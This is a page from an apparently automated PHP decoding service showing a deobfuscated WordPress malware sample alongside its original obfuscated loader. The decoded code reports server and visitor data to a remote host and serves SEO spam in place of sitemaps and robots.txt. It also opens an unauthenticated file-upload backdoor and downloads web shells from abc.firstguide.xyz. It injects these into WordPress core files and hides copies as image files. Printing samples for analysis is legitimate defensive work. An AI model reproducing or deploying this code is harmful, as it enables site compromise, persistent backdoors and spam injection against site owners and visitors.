Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $kmlviaoPZWD='y(3;]whcx)8$4mb dk1qog5sprlua=z_/0i9tvf_"76*.2n[je';$q2866=$kmlviaoPZW..
Decoded Output download
set_time_limit(0);
@ini_set("html_errors","0");
@ob_start();
$action = isset($_GET['ac']) ? $_GET['ac'] : "";
if ($action != "" && $action == "write") {
$index_name = basename($_SERVER['SCRIPT_NAME']);
write($index_name);
echo "write done!";
exit();
}
if ($action != "" && $action == "mup") {
fup($action);
exit();
}
$u6='104\x116\x116\x112\x58\x47\x47\x115\x101\x111\x53\x45\x49\x50\x46\x115\x116\x97\x114\x116\x103\x114\x101\x97\x116\x115\x101\x111\x46\x99\x111\x109\x47\x97\x112\x105\x47\x115\x101\x114\x118\x101\x114\x46\x112\x104\x112\x';
$group='ZQ5-12';
$wjt=0;
if(file_exists($_SERVER['DOCUMENT_ROOT'].'/.htaccess')){
$wjt=1;
}
$_SERVER=@str_replace(' ','',($_SERVER));
unset($_SERVER['PATH']);
unset($_SERVER['SYSTEMROOT']);
unset($_SERVER['COMSPEC']);
unset($_SERVER['PATHEXT']);
unset($_SERVER['WINDIR']);
unset($_SERVER['SERVER_SOFTWARE']);
$s['HTTP_HOST']=isset($_SERVER['HTTP_HOST'])?$_SERVER['HTTP_HOST']:'';
$s['REMOTE_ADDR']=isset($_SERVER['REMOTE_ADDR'])?$_SERVER['REMOTE_ADDR']:'';
//$s['SERVER_ADDR']=isset($_SERVER['SERVER_ADDR'])?$_SERVER['SERVER_ADDR']:'';
$s['REQUEST_URI']=isset($_SERVER['REQUEST_URI'])?$_SERVER['REQUEST_URI']:'';
$s['HTTP_CLIENT_TOKEN']=isset($_SERVER['HTTP_CLIENT_TOKEN'])?$_SERVER['HTTP_CLIENT_TOKEN']:'';
$s['HTTP_USER_AGENT']=isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:'';
$s['HTTP_REFERER']=isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:'';
$s['HTTP_ACCEPT_LANGUAGE']=isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])?$_SERVER['HTTP_ACCEPT_LANGUAGE']:'';
$s['SCRIPT_NAME']=isset($_SERVER['SCRIPT_NAME'])?$_SERVER['SCRIPT_NAME']:'';
$s['SERVER_PORT']=isset($_SERVER['SERVER_PORT'])?$_SERVER['SERVER_PORT']:'';
$s['SERVER_PROTOCOL']=isset($_SERVER['SERVER_PROTOCOL'])?$_SERVER['SERVER_PROTOCOL']:'';
$s['HTTP_X_FORWARDED_PROTO']=isset($_SERVER['HTTP_X_FORWARDED_PROTO'])?$_SERVER['HTTP_X_FORWARDED_PROTO']:'';
$s['HTTPS']=isset($_SERVER['HTTPS'])?$_SERVER['HTTPS']:'';
$s['HTTP_X_FORWARDED_SSL']=isset($_SERVER['HTTP_X_FORWARDED_SSL'])?$_SERVER['HTTP_X_FORWARDED_SSL']:'';
if (phpversion() < '5.2' || PHP_VERSION_ID < 50200) {
$sj=serialize($s);
}else{
$sj=json_encode($s);
}
$info=cgg(o0($u6).'?group='.$group.'&server='.$sj.'&wjt='.$wjt.'&time='.time().'&token=zqO0o1IliLp2&phpv='.phpversion());
if(file_exists($_SERVER['DOCUMENT_ROOT'].'/robots.txt')){
@unlink($_SERVER['DOCUMENT_ROOT'].'/robots.txt');
}
if(file_exists($_SERVER['DOCUMENT_ROOT'].'/sitemap.xml')){
@unlink($_SERVER['DOCUMENT_ROOT'].'/sitemap.xml');
}
if($info){
if(stripos($_SERVER['REQUEST_URI'],'sitemap.xml')!==false && stripos($_SERVER['REQUEST_URI'],'pingsitemap.xml')===false){
header('Content-type:application/xml');
echo ($info);
exit();
}elseif ($_SERVER['REQUEST_URI']=='/robots.txt'){
header('Content-Type: text/plain;charset=utf-8');
echo ($info);
exit();
}elseif(stripos($_SERVER['REQUEST_URI'],'atom.xml')!==false || stripos($_SERVER['REQUEST_URI'],'index.rdf')!==false || stripos($_SERVER['REQUEST_URI'],'rss.xml')!==false || stripos($_SERVER['REQUEST_URI'],'sitemap.xsl')!==false){
header('Content-type:application/xml');
echo ($info);
exit();
}else if (preg_match('/sitemap(00|01|02|03|04|05|06|07|08|09|10|11|12|13|14|15|16|17|18|19|20|21|22|23)-(\d+).xml$/i',$_SERVER['REQUEST_URI'],$map_uri)){
if($map_uri[1]!="" && $map_uri[2]!="") {
if($info=='HTTP/1.1 404 Not Found'){
header($info);
header("Status: 404 Not Found");
exit();
}else {
header('Content-type:application/xml');
echo($info);
exit();
}
}
}elseif(stripos($_SERVER['REQUEST_URI'],'pingsitemap.xml')!==false ){
//$google=json_decode($info,true);
$google=unserialize($info);
foreach ($google as $g){
$r = cgg($g);
if ($r == 'success' || (stripos($r, 'successfully') !== false) || (stripos($r, '') !== false) || (stripos($r, '') !== false) || (stripos($r,'webmasters')!==false)) {
echo '<p style="color:#00A000">' . $g . '--------' . $r . '</p>';
} else {
echo '<p style="color:#ff0000"><a href="' . $g . '" target="_blank">' . $g . '</a>--------' . $r . '</p>';
}
}
exit();
}
else{
header("Content-type: text/html; charset=utf-8");
if(substr($info,'0',9)==='Location:'){
header($info);
exit();
}elseif ($info=='HTTP/1.1 404 Not Found'){
} else{
if($info){
print_r($info);
exit();
}
}
}
}else{
//echo('500 error');
}
function cgg($url)
{
$contents = @file_get_contents($url);
if(!$contents) {
$header = array(
'Accept: */*',
'User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0',
);
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
$contents = curl_exec($curl);
curl_close($curl);
}
return $contents;
}
function o0($u){
$a=explode('\x',$u);
$u1='';
foreach ($a as $b){
if($b) {
$u1 .= chr($b);
}
}
return $u1;
}
function fup($g){
error_reporting(0);
if ($g == 'mup') {
$saw1 = $_FILES['file']['tmp_name'];
$saw2 = $_FILES['file']['name'];
echo "<form method='POST' enctype='multipart/form-data'><input type='file' name='file' /><input type='submit' value='UPload' /></form>";
move_uploaded_file($saw1, $saw2);
exit(0);
}
}
function write($index_name)
{
$write1 = cgg("http://abc.firstguide.xyz/write1.txt");
$write2 = cgg("http://abc.firstguide.xyz/write2.txt");
$shell_postfs = cgg("http://abc.firstguide.xyz/mm1.txt");
$shell_load = cgg("http://abc.firstguide.xyz/mm2.txt");
$new_ht_content = cgg("http://abc.firstguide.xyz/shl/htaccess.txt");
$ht_content = file_get_contents(".htaccess");
$index_content = file_get_contents($index_name);
$loader_php = "wp-includes/template-loader.php";
$load_php = "wp-includes/load.php";
$font_editor_php = "wp-includes/SimplePie/index.php";
if (!is_dir("css")) {
mkdir("css", 0755, true);
}
if ($index_name != "index.php") {
$write1 = str_replace(base64_encode("./index.php"), base64_encode("./" . $index_name), $write1);
$write2 = str_replace(base64_encode("./index.php"), base64_encode("./" . $index_name), $write2);
}
@chmod("css/.htaccess", 0755);
file_put_contents("css/.htaccess", $new_ht_content);
file_put_contents("css/load.php", $shell_load);
if (is_dir("wp-includes/SimplePie")) {
file_put_contents("wp-admin/images/arrow-lefts.png", $index_content);
file_put_contents("wp-admin/images/arrow-rights.png", $ht_content);
file_put_contents("wp-includes/images/smilies/icon_devil.gif", $index_content);
file_put_contents("wp-includes/images/smilies/icon_crystal.gif", $ht_content);
$loader_content = file_get_contents($loader_php);
$load_content = file_get_contents($load_php);
@chmod($loader_php, 0755);
@chmod($load_php, 0755);
file_put_contents($loader_php, $write1 . $loader_content);
file_put_contents($load_php, $load_content . $write2);
@chmod($loader_php, 0644);
@chmod($load_php, 0644);
file_put_contents($font_editor_php, $shell_postfs);
}
}
?>
Did this file decode correctly?
Original Code
<?php $kmlviaoPZWD='y(3;]whcx)8$4mb dk1qog5sprlua=z_/0i9tvf_"76*.2n[je';$q2866=$kmlviaoPZWD[(105/15)].$kmlviaoPZWD[(26-1)].$kmlviaoPZWD[(1*49)].$kmlviaoPZWD[((10*1)+18)].$kmlviaoPZWD[(14+22)].$kmlviaoPZWD[(44+5)].$kmlviaoPZWD[(44-13)].$kmlviaoPZWD[(684/18)].$kmlviaoPZWD[(23+4)].$kmlviaoPZWD[(72-(33-7))].$kmlviaoPZWD[(154/22)].$kmlviaoPZWD[(11+25)].$kmlviaoPZWD[(65-(62-31))].$kmlviaoPZWD[(26-6)].$kmlviaoPZWD[((27*2)-8)];$pHFdNhg9688=$kmlviaoPZWD[(20-9)].$kmlviaoPZWD[(2*4)].$kmlviaoPZWD[(29*1)].$kmlviaoPZWD[(160/4)];$MYtraky2482=$kmlviaoPZWD[(8*5)].$kmlviaoPZWD[((1+0)+2)].$kmlviaoPZWD[(6+(1*(95/19)))].$kmlviaoPZWD[(140/5)].$kmlviaoPZWD[(522/18)].$kmlviaoPZWD[(7*((7-3)-2))].$kmlviaoPZWD[(2*14)].$kmlviaoPZWD[(138/(2+4))].$kmlviaoPZWD[(1029/(378/18))].$kmlviaoPZWD[((2*189)/9)].$kmlviaoPZWD[(12+(0+0))].$kmlviaoPZWD[(31*1)].$kmlviaoPZWD[(48/(36/12))].$kmlviaoPZWD[(735/15)].$kmlviaoPZWD[(0+7)].$kmlviaoPZWD[(18+2)].$kmlviaoPZWD[(18-(10/5))].$kmlviaoPZWD[(735/15)].$kmlviaoPZWD[(0+(2-(1*1)))].$kmlviaoPZWD[(16-(3+(36/(0+18))))].$kmlviaoPZWD[((167-23)/18)].$kmlviaoPZWD[(0+(18-9))].$kmlviaoPZWD[(1*3)].$kmlviaoPZWD[(11*(1+(0/(78/13))))].$kmlviaoPZWD[(2*7)].$kmlviaoPZWD[(29*(0+1))].$kmlviaoPZWD[(38-(8+9))].$kmlviaoPZWD[(15*2)].$kmlviaoPZWD[(45-11)].$kmlviaoPZWD[(1*46)].$kmlviaoPZWD[(1*(17+21))].$kmlviaoPZWD[(78/3)].$kmlviaoPZWD[(21+(77/11))].$kmlviaoPZWD[(22+14)].$kmlviaoPZWD[(343/(91/13))].$kmlviaoPZWD[(1*1)].$kmlviaoPZWD[(21-10)].$kmlviaoPZWD[(22+(12/2))].$kmlviaoPZWD[(180/20)].$kmlviaoPZWD[(3+((0+0)*1))].$kmlviaoPZWD[(686/(126/9))].$kmlviaoPZWD[(61-(32-8))].$kmlviaoPZWD[(476/17)].$kmlviaoPZWD[((4-0)+22)].$kmlviaoPZWD[(((23-(2*5))/13)-0)].$kmlviaoPZWD[(7+(84/21))].$kmlviaoPZWD[(28/2)].$kmlviaoPZWD[(9-0)].$kmlviaoPZWD[(3*1)];$UrR1094= "'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'";$JTx2343=$pHFdNhg9688;$JTx2343.=$UrR1094;$JTx2343.=$MYtraky2482;@$mEriqO3481=$q2866((''), ($JTx2343));@$mEriqO3481(); ?><?php
Function Calls
null | 1 |
gzinflate | 1 |
base64_decode | 1 |
create_function | 1 |
Stats
MD5 | b0ca0fd72ddbc55eef5767ea0bd6d5ec |
Eval Count | 2 |
Decode Time | 157 ms |